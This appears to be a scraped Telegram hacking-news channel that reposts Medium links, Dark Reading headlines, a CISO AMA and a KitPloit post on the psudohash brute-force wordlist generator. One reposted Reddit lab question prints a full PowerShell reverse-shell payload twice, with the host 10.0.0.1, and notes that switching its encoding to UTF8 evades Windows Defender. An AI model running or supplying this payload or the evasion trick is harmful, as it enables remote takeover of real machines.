Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
What is Cyber Security? It’s Advantage and Importance.

This article is about who a cyber security specialist is, how to become one and the day-to-day activities, role and responsibilities…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

What is Cyber Security? It’s Advantage and Importance.

This article is about who a cyber security specialist is, how to become one and the day-to-day activities, role and responsibilities…

5 viewsedited 18:10

Hacking Articles Tips Tricks Videos Tutorials

WIFI Hacking (My Favorite Write up`s Till date)
https://akash-venky091.medium.com/wifi-hacking-my-favorite-write-up-s-till-date-3a60f302a072?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

WIFI Hacking (My Favorite Write up`s Till date)

What is wifi hacking ?

6 viewsedited 18:52

Hacking Articles Tips Tricks Videos Tutorials

5 views18:52

Hacking Articles Tips Tricks Videos Tutorials

What is wifi hacking ?Continue reading on Medium » (https://akash-venky091.medium.com/wifi-hacking-my-favorite-write-up-s-till-date-3a60f302a072?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

WIFI Hacking (My Favorite Write up`s Till date)

What is wifi hacking ?

4 viewsedited 18:52

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Discrepancies in detecting obfuscated payloads by Windows Defender?

I decided to learn something about obfuscating payloads so I read some articles and got onto our lab environment and started testing, for example with Invoke-Obfuscation. For the time being I stuck with obfuscating PowerShell payloads and testing them against Windows Defender.

First, I took the PS payloads from PayloadsAllTheThings and started obfuscating them with Invoke-Obfuscation. For example I followed a tutorial by Linode which uses AST obfuscation. This did not work for me as either the payload script threw errors or was still getting recognized by Windows Defender.

Sample payload, not obfuscated:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('
10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $
stream.Read

($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

After that I expanded my research and tried a payload from GitHub user samratashok and followed this Guide in which only the text encoding method is altered from ASCII to UTF8. And guess what? It actually worked, Windows Defender does not detect it!

Sample payload, not obfuscated:

$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

So how on earth can it possibly be that the first payloads can be obfuscated like crazy and are still detected by Defender but all that has to be done to the second payload in order to avoid detection is alter the text encoding format, especially since I can barely spot the difference between the payloads?

submitted by /u/0x4e696b
[link] [comments]

Discrepancies in detecting obfuscated payloads by Windows Defender?

I decided to learn something about obfuscating payloads so I read some articles and got onto our lab environment and started testing, for ...

5 views20:20

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
I became a Chief Information Security Officer without having a college degree. Ask me anything!

EDIT: Thanks for everyone who participated and/or reached out on LinkedIn, I appreciate the opportunity and hopefully you folks got something helpful out of it. Anyway, prolonged social interaction even through a screen makes me nervous as shit so I'm out of here for now. You can find me shitposting on LI if you want to catch up there. Stay Dangerous!

My name is Jonathan Rau and despite not having a college degree or certifications I became a CISO with only 5 years of private sector cybersecurity experience largely spearheaded by open-source work and challenging industry norms. Ask me anything about getting into the (cloud security) industry, how to demonstrate your expertise, and on the other side of the equation: how to attract + retain entry-level talent and build world class teams with them.

My LI: https://www.linkedin.com/in/jonathan-r-2b2742112/

PROOF: https://i.redd.it/vhs1s54jraq91.jpg

submitted by /u/lightspin_ciso
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

I became a Chief Information Security Officer without having a...

EDIT: Thanks for everyone who participated and/or reached out on LinkedIn, I appreciate the opportunity and hopefully you folks got something...

6 viewsedited 20:20

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Fast Company CMS Hack Raises Security Questions

The company's website remains offline after hackers used its compromised CMS to send out racist messages.

5 views21:01

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Google Cloud DORA: Securing the Supply Chain Begins With Culture

The team's annual survey finds that the right development culture is better than technical measures when it comes to shoring up software supply chain security practices. An additional benefit: Less burnout.

5 views21:03

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Container Supply Chain Attacks Cash In on Cryptojacking

Cloud-native threats are costing cloud customer victims money as cryptojackers mine their vulnerable cloud instances.

5 views21:03

Source

Hacking Articles Tips Tricks Videos Tutorials

5 views21:20

Hacking Articles Tips Tricks Videos Tutorials

Photo

KitPloit - PenTest Tools!
Psudohash - Password List Generator That Focuses On Keywords Mutated By Commonly Used Password Creation Patterns

https://blogger.googleusercontent.com/img/a/AVvXsEjBvbKgBVYgLcvHX5xAs4947PD5DsLaR_53o4PhyAINSqxoARl20tL3Pr_iTvjflpvvEIK61S-OVEpcNZ_TykfuiM-JAnY1eM2R8tenfsVwSDHp2VrAvtu-_jewWh7eI-Nei9b2tUmjzh6TJc9y_0p3epToJ9rZlm5FCDPsJMzNrb7oimaH2vyoPy-QDw=w640-h414 psudohash is a password list generator for orchestrating brute force attacks. It imitates certain password creation patterns commonly used by humans, like substituting a word's letters with symbols or numbers, using char-case variations, adding a common padding before or after the word and more. It is keyword-based and highly customizable. Pentesting Corporate EnvironmentsSystem administrators and other employees often use a mutated version of the Company's name to set passwords (e.g. Am@z0n_2022). This is commonly the case for network devices (Wi-Fi access points, switches, routers, etc), application or even domain accounts. With the most basic options, psudohash can generate a wordlist with all possible mutations of one or multiple keywords, based on common character substitution patterns (customizable), case variations, strings commonly used as padding and more. Take a look at the following example: https://blogger.googleusercontent.com/img/a/AVvXsEjBvbKgBVYgLcvHX5xAs4947PD5DsLaR_53o4PhyAINSqxoARl20tL3Pr_iTvjflpvvEIK61S-OVEpcNZ_TykfuiM-JAnY1eM2R8tenfsVwSDHp2VrAvtu-_jewWh7eI-Nei9b2tUmjzh6TJc9y_0p3epToJ9rZlm5FCDPsJMzNrb7oimaH2vyoPy-QDw=w640-h414 The script includes a basic character substitution schema. You can add/modify character substitution patterns by editing the source and following the data structure logic presented below (default):

transformations = [
{'a' : '@'},
{'b' : '8'},
{'e' : '3'},
{'g' : ['9', '6']},
{'i' : ['1', '!']},
{'o' : '0'},
{'s' : ['$', '5']},
{'t' : '7'}
]

IndividualsWhen it comes to people, i think we all have (more or less) set passwords using a mutation of one or more words that mean something to us e.g., our name or wife/kid/pet/band names, sticking the year we were born at the end or maybe a super secure padding like "!@#". Well, guess what? https://blogger.googleusercontent.com/img/a/AVvXsEiA97heH7brWCOpppmU1LOpPvfWXJWFx3A_SKOcuK_zYDxRygbrrX1E618dhONMj5obS3UmSizRoHc3eSrLjrotzrBelcx0yFd7AqCNnWqljZLocuJqakhv9PxSlJ-7uB1MQS11YhwueGsPCZSznhzZZkhgPfffeAxM-OhtHE2u-auBsc9mH6HDo5H5iQ=w640-h610 InstallationNo special requirements. Just clone the repo and make the script executable:

git clone https://github.com/t3l3machus/psudohash
cd ./psudohash
chmod +x psudohash.py

Usage./psudohash.py [-h] -w WORDS [-an LEVEL] [-nl LIMIT] [-y YEARS] [-ap VALUES] [-cpb] [-cpa] [-cpo] [-o FILENAME] [-q] The help dialog [ -h, --help ] includes usage details and examples. Usage Tips1. Combining options --yearsand --append-numberingwith a --numbering-limit≥ last two digits of any year input, will most likely produce duplicate words because of the mutation patterns implemented by the tool.
2. If you add custom padding values and/or modify the predefined common padding values in the source code, in combination with multiple optional parameters, there is a small chance of duplicate words occurring. psudohash includes word filtering controls but for speed's sake, those are limited. FutureI'm gathering information regarding commonly used password creation patterns to enhance the tool's capabilities. Download Psudohash

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Psudohash - Password List Generator That Focuses On Keywords Mutated By Commonly Used Password Creation Patterns

5 viewsedited 21:20

About

Blog

Apps

Platform